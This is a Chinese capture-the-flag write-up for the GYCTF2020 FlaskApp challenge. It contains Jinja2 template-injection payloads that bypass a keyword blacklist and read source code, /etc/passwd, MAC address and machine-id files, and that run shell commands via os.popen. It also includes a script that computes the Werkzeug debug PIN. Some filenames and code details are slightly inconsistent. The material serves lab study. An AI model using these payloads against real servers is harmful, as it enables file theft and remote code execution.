题目:
加密处没啥事,但是解密的地方提交{{7*7}}就会返回报错界面,顺便把代码也爆出来了
text_decode = base64.b64decode(text.encode())
先将字符串 text编码为字节对象,然后使用 base64.b64decode
函数对这个字节对象进行 Base64 解码操作,报错的原因也就是解码没成功,将{{7*7}}进行base64编码后输入
可能是过滤了{{ }} 把 {{ }} 去了还是nonono
试试7+7,成功 。。?
具体流程:
1.套模板,发现被过滤了字符,查看源代码
2.列目录
解法一:SSTI
payload1
读取app.py查看源代码,看看过滤了哪些函数
{{config.__class__.__init__.__globals__['__builtins__'].open('app.py').read()}}
在blacklist中发现过滤了os,import,flag,eval等,利用拼接或者十六进制编码绕过
{{config.__class__.__init__.__globals__['o'+'s'].listdir('/')}}
读取flag.txt 注意1.flag要拼接 2.文件前面要加 / 否则找不到文件
{{config.__class__.__init__.__globals__['__builtins__'].open('/this_is_flag.txt').read()}}
payload2
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}
{% endif %}
{% endfor %}
来逐句分析:
{% for c in [].__class__.__base__.__subclasses__() %}
[ ]就是空列表,[].__class__就是空列表的类也就是list,[].__class__.__base__.__subclasses__()就是object的所有子类,for循环遍历子类,此时c就是每一个子类
{% if c.__name__=='catch_warnings' %}
如果有一个子类的名字叫做catch_warnings的话
{% c.__init__['__globals__'].open('app.py','r') %}
调用c中的init类及其内部的子函数
{% endif %} {% endfor %}
结束if或者for语句的时候要加上这段
也就是说这种payload好处在于不用查看subclasses()[]中哪个子类含有init函数
同样还是出现源代码
列出目录
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
#遍历c.__init__.__globals__中的所有值(也就是values())
{% for b in c.__init__.__globals__.values() %}
#判断变量 b 的类型是否为字典类型,{}表示空的字典对象
{% if b.__class__ == {}.__class__ %}
{% if 'eva'+'l' in b.keys() %}
{{ b['eva'+'l']('__impor'+'t__'+'("o'+'s")'+'.pope'+'n'+'("ls /").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
打开this_is_flag.txt,利用字符串反写绕过
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
#'txt.galf_eht_si_siht/'[::-1]:对字符串进行反转操作,得到 'this_is_the_flag.txt'
{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}
{% endif %}
{% endfor %}
直接出flag
解法二:PIN
从这看的:[GYCTF2020]FlaskApp - 跳河离去的鱼 - 博客园
读取debug控制板的pin码
pin码也就是flask在开启debug模式下,进行代码调试模式的进入密码,需要正确的PIN码才能进入调试模式
想要拿到pin码需要知道:
- 1. username,启动这个flask的用户名,在/etc/passwd
- 2. modname,默认值为flask.app
- 3. appname,默认值为Flask
- 4. moddir,flask库下app.py的绝对路径,可以通过报错拿到,如传参的时候给个不存在的变量
- 5. uuidnode,当前网络的mac地址的十进制数,任意文件读 /sys/class/net/eth0/address
- 6. machine_id,docker机器id
- docker:/proc/self/cgroup
linux:/etc/machine-id
get_machine_id() :/etc/machine-id或者 /proc/sys/kernel/random/boot_i中的值
假如是在win平台下读取不到上面两个文件,就去获取注册表中SOFTWARE\Microsoft\Cryptography的值 假如是Docker机 那么为 /proc/self/cgroup docker行
1.获取username: 查看flask用户,用户名为flaskweb(在最后一行)
{{{}.__class__.__mro__[-1].__subclasses__()[102].__init__.__globals__['open']('/etc/passwd').read()}}
__mro__[-1]
:- 通过索引
-1
取出元组的最后一个元素,也就是object
类,因为object
是 Python 中所有类的基类。
- 通过索引
2.获取moddir:报错信息显示
3.uuidnode: 获得机器的mac地址(十六进制),将其转换成十进制(去掉冒号再转啊笨蛋)
{{{}.__class__.__mro__[-1].__subclasses__()[102].__init__.__globals__['open']('/sys/class/net/eth0/address').read()}}
4.machine_id:获得机器id
{% for x in {}.__class__.__base__.__subclasses__() %}
{% if "warning" in x.__name__ %}
{{x.__init__.__globals__['__builtins__'].open('/etc/machine-id').read() }}
{%endif%}
{%endfor%}
网上搜的计算pin脚本
import hashlib
from itertools import chain
probably_public_bits = [
'flaskweb'# username
'flask.app',# modname
'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'218117161077153',# str(uuid.getnode()), /sys/class/net/ens33/address
'1408f836b0ca514d796cbf8960e45fa1'# get_machine_id(), /etc/machine-id
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
点击这里进入调试模式,输入PIN
输入口令
os.open()和os.popen()傻傻分不清,哎
os.open()是读取文件用的,os.popen()是执行系统命令的